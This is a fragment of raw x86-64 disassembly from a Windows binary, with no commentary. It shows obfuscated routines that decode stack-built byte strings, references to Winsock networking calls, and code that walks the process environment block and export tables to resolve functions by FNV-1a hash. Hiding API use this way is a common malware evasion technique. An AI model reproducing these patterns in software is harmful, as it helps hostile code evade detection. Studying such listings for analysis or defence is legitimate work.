mov ecx, Ordinal_41
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401453f3
movabs rcx, 0xd78f8129a9520e9a
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x36
jmp 0x1401453b0
lea rax, [r11 + 0x20]
cmp rdi, rax
jae 0x14014505e
lea rcx, [r10 + rsi]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x3d
jmp 0x140144ebf
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140145089
movabs rcx, 0x32d7bca16c23d6e
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 2
jmp 0x140145529
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x1401450b8
movabs rdx, 0xfabb8573d7f67da
mov ecx, 5
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401454a3
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x1401450e7
movabs rdx, 0x1c29f4e4643c9246
mov ecx, ntohl
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14014546d
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x140145116
movabs rdx, 0x28a831718af9bcb2
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14014541a
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x140144ebf
movabs rdx, 0x35266dfeb1b6e71e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401453b0
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140145174
movabs rcx, 0x4c439af22235c25
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 3
jmp 0x1401453b0
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14014519f
movabs rcx, 0x1142763c48e08691
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 9
jmp 0x14014541a
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x1401451ca
movabs rcx, 0x97819482dc3f1bc7
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x71
jmp 0x140145444
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x1401451f5
movabs rcx, 0xa3ffd11002fc4633
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x65
jmp 0x140145470
lea rax, [r11 + 8]
cmp rdi, rax
jne 0x140144e65
movabs rcx, 0x36bd2be3bd1805d5
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x2d
jmp 0x140145529
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14014524f
movabs rcx, 0x65af7942d847adc
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 4
jmp 0x140145529
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14014526c
movabs rdx, 0x12d934215441a548
mov ecx, 4
jmp 0x1401450a1
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x140145289
movabs rdx, 0x1f5770ae7afecfb4
mov ecx, 0xa
jmp 0x1401450d0
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x1401452b4
movabs rcx, 0xb214cb82351a8f56
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x5a
jmp 0x1401453f3
lea rax, [r11 + 7]
cmp rdi, rax
jne 0x140144e1a
movabs rdx, 0x3853e9c8c879248c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x140145132
movabs rdx, 0x44d22655ef364ef8
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r10 + 0x440]
add bl, dl
add bl, r9b
jmp 0x140145444
movabs rcx, 0xcb11449c8294e42e
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, byte [rbp + r10 + 0x440]
lea ebx, [r9 + rcx]
sub bl, 0x42
jmp 0x1401454a3
movabs rcx, 0x338fb019a655c867
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x2f
jmp 0x1401454d5
movabs rcx, 0xa0d25545ec3a08c5
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x63
jmp 0x14014546d
movabs rcx, 0x945418b8c57cde59
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x6f
jmp 0x14014541a
movabs rcx, 0x87d5dc2b9ebfb3ed
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7b
movabs rcx, 0x81b29732a587045d
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
add cl, 0x75
add cl, r9b
mov byte [rbp + r10 + 0x440], cl
jmp 0x1401453f3
movabs rcx, 0xf5188157e4a3f44b
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0xd
mov eax, 1
add r11, rax
jmp 0x14014541f
movabs rcx, 0x6ed9631151455f15
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x6d
mov eax, 1
sub r10, rax
jmp 0x14014553d
movabs rcx, 0xe89a44cabde6c9df
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x19
movabs rcx, 0x7f1b57938e59993
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 5
add r9b, bl
add r9b, cl
mov byte [rbp + r10 + 0x440], r9b
add rdi, r11
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x140145538
mov r9, r8
movabs rdx, 0x55dce9f703cb0a3d
add rdx, r10
mov al, dl
and al, r8b
add al, al
mov bl, r8b
sub bl, al
add bl, 0x55
add bl, dl
movabs rdx, 0x8e30d3bfcc442ec9
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov cl, r9b
sub cl, al
sub cl, 0x7f
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x440], al
inc r11
add rax, r11
sub r10, rax
movabs rdx, 0x515062e315f37964
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x440], cl
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r10, rax
jmp 0x140145529
movabs rcx, 0x495ead69dd0ddfd1
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x49
movzx eax, byte [rbp + r10 + 0x440]
add rax, r11
add r10, rax
mov eax, 1
add r10, rax
jmp 0x1401449ca
movabs rcx, 0x5f655d554811c287
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x4f
jmp 0x1401449c5
movabs rcx, 0xd9263f0eb4b32d51
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x37
jmp 0x1401449b5
lea rsi, [rbp + 0x1462464]
jmp 0x1401455a2
lea rsi, [rbp + 0x1356eff]
jmp 0x1401455a2
lea rsi, [rbp + 0x440]
mov byte [rbp + 0x10a0], 5
mov byte [rbp + 0x10a1], 0xc1
mov byte [rbp + 0x10a2], 0x76
mov byte [rbp + 0x10a3], Ordinal_200
mov byte [rbp + 0x10a4], WSASetLastError
mov byte [rbp + 0x10a5], Ordinal_200
mov byte [rbp + 0x10a6], 0x63
mov byte [rbp + 0x10a7], Ordinal_200
mov byte [rbp + 0x10a8], 0x7a
mov byte [rbp + 0x10a9], 0xc9
mov byte [rbp + 0x10aa], WSASetLastError
mov byte [rbp + 0x10ab], 0xcb
mov byte [rbp + 0x10ac], Ordinal_46
mov byte [rbp + 0x10ad], Ordinal_211
mov byte [rbp + 0x10ae], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x10af], Ordinal_211
mov byte [rbp + 0x10b0], 0x62
mov byte [rbp + 0x10b1], Ordinal_211
mov byte [rbp + 0x10b2], 0x7d
mov byte [rbp + 0x10b3], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x10b4], 0x60
mov byte [rbp + 0x10b5], Ordinal_217
mov byte [rbp + 0x10b6], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x10b7], Ordinal_217
mov byte [rbp + 0x10b8], 0x7b
mov byte [rbp + 0x10b9], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x10ba], WSACleanup
mov byte [rbp + 0x10bb], 0xdb
mov byte [rbp + 0x10bc], 0x75
mov byte [rbp + 0x10bd], 0xdd
mov byte [rbp + 0x10be], WSACleanup
mov byte [rbp + 0x10bf], 0xdf
mov byte [rbp + 0x10c0], reloc.WS2_32.dll_ntohl
mov byte [rbp + 0x10c1], 0xa1
mov byte [rbp + 0x10c2], 0x42
mov byte [rbp + 0x10c3], 0xa3
mov byte [rbp + 0x10c4], Ordinal_79
mov byte [rbp + 0x10c5], 0xa5
mov byte [rbp + 0x10c6], 0x46
mov byte [rbp + 0x10c7], 0xa7
mov byte [rbp + 0x10c8], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x10c9], 0xa9
mov byte [rbp + 0x10ca], Ordinal_79
mov byte [rbp + 0x10cb], 0xab
mov byte [rbp + 0x10cc], WSAGetLastError
mov byte [rbp + 0x10cd], 0xad
mov byte [rbp + 0x10ce], Ordinal_32
mov byte [rbp + 0x10cf], 0xaf
mov byte [rbp + 0x10d0], 2
mov byte [rbp + 0x10d1], 0xb1
mov byte [rbp + 0x10d2], Ordinal_32
mov byte [rbp + 0x10d3], 0xb3
mov byte [rbp + 0x10d4], 6
mov byte [rbp + 0x10d5], 0xb5
mov byte [rbp + 0x10d6], 0x56
mov byte [rbp + 0x10d7], 0xb7
mov byte [rbp + 0x10d8], 0x7d
mov byte [rbp + 0x10d9], 0xb9
mov byte [rbp + 0x10da], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0x10db], 0xbb
mov byte [rbp + 0x10dc], Ordinal_27
mov byte [rbp + 0x10dd], 0xbd
mov eax, 8
mov byte [rbp + 0x10de], al
mov byte [rbp + 0x10df], 0xbf
mov byte [rbp + 0x10e0], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x10e1], 0x81
mov byte [rbp + 0x10e2], Ordinal_60
mov byte [rbp + 0x10e3], 0x83
mov byte [rbp + 0x10e4], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x10e5], 0x85
mov byte [rbp + 0x10e6], Ordinal_46
mov byte [rbp + 0x10e7], 0x87
mov byte [rbp + 0x10e8], Ordinal_50
mov byte [rbp + 0x10e9], Ordinal_143
mov byte [rbp + 0x10ea], WSASetLastError
mov byte [rbp + 0x10eb], Ordinal_143
lea r15d, [rax + 0x38]
mov byte [rbp + 0x10ec], r15b
mov byte [rbp + 0x10ed], Ordinal_143
mov byte [rbp + 0x10ee], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x10ef], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x10f0], Ordinal_50
mov byte [rbp + 0x10f1], __WSAFDIsSet
mov byte [rbp + 0x10f2], Ordinal_60
mov byte [rbp + 0x10f3], __WSAFDIsSet
mov byte [rbp + 0x10f4], Ordinal_50
mov byte [rbp + 0x10f5], __WSAFDIsSet
mov byte [rbp + 0x10f6], Ordinal_41
mov byte [rbp + 0x10f7], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x10f8], 0x78
mov byte [rbp + 0x10f9], 0x99
mov byte [rbp + 0x10fa], 0x47
mov byte [rbp + 0x10fb], 0x9b
mov byte [rbp + 0x10fc], 0x9c
mov byte [rbp + 0x10fd], 0x9d
xor eax, eax
mov qword [rbp + 0x10fe], rax
movabs r14, 0x118055364c6acfa0
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r11, qword [rax]
xor eax, eax
mov r10d, eax
cmp r10, 0x66
jae 0x1401462de
movzx r9d, byte [rbp + r10 + 0x10a0]
mov r8, r9
cmp rdi, r10
ja 0x1401462d5
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x1401458a9
lea rcx, [r10 + r14]
mov rax, rcx
and rax, r9
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r9
jmp 0x140145b05
je 0x140146271
lea rax, [r11 + 2]
cmp rdi, rax
je 0x140146218
lea rax, [r11 + 3]
cmp rdi, rax
je 0x1401461b9
lea rax, [r11 + 5]
cmp rdi, rax
je 0x140146164
cmp r11, r10
ja 0x1401462cc
lea rax, [r11 + 0x1000]
cmp rdi, rax
jae 0x14014590e
movabs rdx, 0x6f86fd7444c30820
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140145935
lea rax, [r11 + 1]
cmp rdi, rax
je 0x140146141
lea rax, [r11 + 2]
cmp rdi, rax
je 0x14014611d
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14014610e
mov r8d, reloc.WLDAP32.dll_Ordinal_32
lea rax, [rdi + r11]
cmp rax, r10
jbe 0x140145e54
lea rax, [r11 + 0x20]
cmp rdi, rax
je 0x140145e32
lea rax, [r11 + 2]
cmp rdi, rax
je 0x140145e13
lea rax, [r11 + 0x3e8]
cmp rdi, rax
je 0x140145def
lea rax, [r11 + 0xa]
cmp rdi, rax
je 0x140145de0
lea rax, [r11 + 0x2a]
cmp rdi, rax
je 0x140145dbe
lea rax, [r11 + 0x80]
cmp rdi, rax
je 0x140145d9f
lea rax, [r11 + 8]
cmp rdi, rax
je 0x140145d7d
lea rax, [r11 + 0x41]
cmp rdi, rax
je 0x140145d5b
lea rax, [r11 + 0x42]
cmp rdi, rax
je 0x140145948
lea rdi, [r11 + 0x7a]
lea r11, [rdi + 5]
lea rax, [r11 + 0x40]
cmp rdi, rax
jb 0x1401462aa
lea rax, [r11 + 4]
cmp rdi, rax
jb 0x140145b0d
lea rax, [r11 + 0x1000]
cmp rdi, rax
jb 0x140145aeb
lea rax, [r11 + 0x20]
cmp rdi, rax
jb 0x140145ac8
lea rax, [r11 + 2]
cmp rdi, rax
jb 0x140145cbe
lea rax, [r11 + 0x3e8]
cmp rdi, rax
jb 0x140145cad
lea rax, [r11 + 0xa]
cmp rdi, rax
jb 0x140145c66
lea rax, [r11 + 0x2a]
cmp rdi, rax
jb 0x140145c3c
lea rdi, [r11 + 9]
lea r11, [rdi + 0x80]
lea rax, [r11 + 0x5a]
cmp rdi, rax
ja 0x140145c1d
lea rax, [r11 + 0x64]
cmp rdi, rax
ja 0x140145bf9
lea rax, [r11 + 6]
cmp rdi, rax
ja 0x140145bd7
lea rax, [r11 + 0x7a]
cmp rdi, rax
ja 0x140145bb5
lea rax, [r11 + 0x40]
cmp rdi, rax
ja 0x140145b96
lea rax, [r11 + 4]
cmp rdi, rax
ja 0x140145b74
lea rax, [r11 + 0x1000]
cmp rdi, rax
ja 0x140145b52
lea rax, [r11 + 0x20]
cmp rdi, rax
ja 0x140145b33
lea rax, [r11 + 2]
cmp rdi, rax
ja 0x140145948
lea rdi, [r11 + 0x10]
lea r11, [rdi + 0x3e8]
jmp 0x140145948
movabs rdx, 0x80ae447b7dfebbe0
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
add bl, dl
sub bl, r8b
jmp 0x14014593b
movabs rcx, 0x5dad9a0ee5291ca0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x60
jmp 0x1401458d6
movabs rdx, 0x3aacefa24c537d60
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14014587b
movabs rcx, 0x7c37eba226184100
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
jmp 0x140146181
movabs rcx, 0x593741358d42a1c0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r15b
jmp 0x1401461a9
movabs rcx, 0x363696c8f46d0280
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x80
jmp 0x14014613a
movabs rcx, 0xf03541efc2c1c400
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
jmp 0x140146203
movabs rcx, 0xcd34978329ec24c0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r15b
jmp 0x140146206
movabs rcx, 0xaa33ed1691168580
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x80
jmp 0x1401460d9
movabs rdx, 0x873342a9f840e640
add rdx, r10
mov al, dl
and al, r9b
mov ecx, r8d
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14014623c
movabs rcx, 0x6432983d5f6b4700
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
jmp 0x14014628e
movabs rcx, 0xcb0ee2de15538e0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r8b
mov byte [rbp + r10 + 0x10a0], bl
jmp 0x14014629d
movabs rcx, 0xe9b043c1487f99a0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x60
cmp r11, r15
jb 0x140145c59
movabs rcx, 0xf921f3a2728eb9c0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea ebx, [rcx*2 - 0x80]
jmp 0x140146181
movabs rdx, 0xc6af9954afa9fa60
mov ecx, Ordinal_50
jmp 0x140145d0c
movabs rdx, 0xa3aeeee816d45b20
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
lea rax, [rdi + r11]
cmp rax, 0xa
je 0x1401460b2
lea rax, [r11 + 0x200]
cmp rdi, rax
jbe 0x140145efe
movabs rdx, 0x2b944df035737920
mov ecx, reloc.WS2_32.dll_recv
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
cmp rdi, r8
jae 0x14014608f
lea rax, [r11 + 0x400]
cmp rdi, rax
jbe 0x140145f88
movabs rdx, 0x9b1b4b647a368140
add rdx, r10
mov al, dl
and al, r9b
mov ecx, r8d
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140145c83
movabs rcx, 0x9d29f0b99c9230c0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r15b
jmp 0x14014628e
movabs rcx, 0x7a29464d03bc9180
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x80
jmp 0x14014623c
movabs rdx, 0x57289be06ae6f240
add rdx, r10
mov al, dl
and al, r9b
mov ecx, r8d
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1401460d4
movabs rcx, 0x11274707393bb3c0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r15b
jmp 0x140146203
movabs rcx, 0xee269c9aa0661480
jmp 0x140145ee6
movabs rdx, 0xcb25f22e07907540
add rdx, r10
mov al, dl
and al, r9b
mov ecx, r8d
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14014613a
movabs rcx, 0xa82547c16ebad600
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
jmp 0x1401461a9
movabs rcx, 0x85249d54d5e536c0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r15b
jmp 0x140146181
lea rax, [r11 + 0x42]
cmp rdi, rax
jae 0x140145e77
lea rdx, [r10 + r14]
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x60
add bl, dl
jmp 0x140145cdf
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140145ea4
movabs rdx, 0xdf0dfae889861040
add rdx, r10
mov al, dl
and al, r9b
mov ecx, r8d
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14014628e
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x140145ecf
movabs rcx, 0x250f4fc1bb314ec0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r15b
jmp 0x1401460d9
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140145cdf
movabs rcx, 0x8e114f0785b22c80
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x80
jmp 0x1401461da
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140145f16
movabs rdx, 0x4e94f85cce491860
jmp 0x14014614b
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x140145f41
movabs rcx, 0x94964d35fff456e0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r8b
jmp 0x14014613a
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140145f59
movabs rdx, 0xb796f7a298c9f620
jmp 0x1401461c3
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x140145d1e
movabs rcx, 0xfd984c7bca7534a0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x60
jmp 0x140146206
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140145fb3
movabs rcx, 0xbe1bf5d1130c2080
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x80
jmp 0x14014628e
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x140145fde
movabs rcx, 0xe11ca03dabe1bfc0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r15b
jmp 0x14014623c
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140146007
movabs rdx, 0x41d4aaa44b75f00
add rdx, r10
mov cl, r9b
and cl, dl
add cl, cl
mov bl, r9b
sub bl, cl
add bl, dl
jmp 0x1401460d9
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x140146032
movabs rcx, 0x4a1e9f8376629d80
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x80
jmp 0x140146203
lea rax, [r11 + 7]
cmp rdi, rax
jne 0x14014605f
movabs rdx, 0xb3209ec940e37b40
add rdx, r10
mov al, r9b
and al, dl
mov ecx, r8d
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401461a9
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x140145c83
movabs rdx, 0xd6214935d9b91a80
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
add bl, 0x80
add bl, dl
jmp 0x140146181
movabs rdx, 0x1c229e0f0b645900
add rdx, r10
mov al, dl
and al, r9b
add al, al
mov bl, byte [rbp + r10 + 0x10a0]
sub bl, al
jmp 0x1401461d5
movabs rdx, 0x3f23487ba439f840
add rdx, r10
mov al, dl
and al, r9b
mov ecx, r8d
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r10 + 0x10a0]
add bl, dl
add bl, r9b
movabs rcx, 0x50a39db1f0a4c7e0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
sub cl, r8b
movzx eax, cl
mov byte [rbp + r10 + 0x10a0], al
inc r11
add rax, r11
sub r10, rax
jmp 0x14014623c
movabs rdx, 0xfb89a726a8198520
jmp 0x1401461c3
movabs rcx, 0xd888fcba0f43e5e0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x20
mov eax, 1
jmp 0x1401461b1
movabs rdx, 0x9287a7e0dd98a760
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140146181
movabs rcx, 0x4c865307abed68e0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x20
movabs rdx, 0xaa248d8bef98960
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x10a0], cl
mov eax, 1
add r11, rax
sub r10, rax
jmp 0x1401462a2
movabs rdx, 0xe38453c1e16c8b20
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
movabs rcx, 0x2da2f34557cf28a0
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x60
add r9b, bl
add r9b, cl
mov byte [rbp + r10 + 0x10a0], r9b
add rdi, r11
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x14014629d
mov r9, r8
movabs rdx, 0x5781aa0f7e160e20
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rcx, 0x6223f2e83d0f9780
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
add r9b, 0x80
add r9b, cl
mov byte [rbp + r10 + 0x10a0], r9b
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r10, rax
jmp 0x14014628e
movabs rcx, 0x3480ffa2e5406ee0
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x20
movzx eax, byte [rbp + r10 + 0x10a0]
add rax, r11
add r10, rax
mov eax, 1
add r10, rax
jmp 0x140145868
movabs rcx, 0xf4ab9ac91aa83ee0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r8b
jmp 0x140145853
lea rdx, [rbp + 0x1439020]
jmp 0x1401462e5
lea rdx, [rbp + 0x16e5fc0]
jmp 0x1401462e5
lea rdx, [rbp + 0x10a0]
mov r9d, r15d
mov r8, rsi
xor ecx, ecx
call r12
mov rdx, qword [0x1404fc118]
xor eax, eax
test rdx, rdx
jne 0x140146468
mov esi, eax
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
lea r13d, [rdx + 8]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, r13w
mov word [rsp + 0x58], ax
test esi, esi
je 0x14014636f
mov rdx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rdx + rax*2]
mov r9d, 0x811c9dc5
jmp 0x140146361
movsx eax, byte [rdx]
xor eax, r9d
imul r9d, eax, 0x1000193
add rdx, 2
cmp rdx, r8
jne 0x140146350
cmp r9d, esi
jne 0x140146453
mov rdi, qword [rcx + 0x30]
movsxd rax, dword [rdi + 0x3c]
mov rax, qword [rax + rdi + 0x88]
mov r11d, eax
add r11, rdi
shr rax, 0x20
cmp r11, rdi
je 0x140146453
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x140146453
mov ebx, dword [r11 + 0x20]
mov r12d, 1
dec r10d
lea r8, [rdi + r10*4]
mov r9d, dword [r8 + rbx]
add r9, rdi
mov r8d, 0x811c9dc5
jmp 0x1401463cc
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r12
test dl, dl
jne 0x1401463bf
cmp r8d, r14d
je 0x1401463e2
test r10d, r10d
jne 0x1401463a9
jmp 0x140146453
mov r8d, dword [r11 + 0x1c]
add r8, rdi
mov edx, dword [r11 + 0x24]
add rdx, rdi
movzx edx, word [rdx + r10*2]
mov edx, dword [r8 + rdx*4]
add rdx, rdi
cmp rdx, r11
jbe 0x14014645b
lea rcx, [rax + r11]
cmp rdx, rcx
jae 0x14014645b
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140146424
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
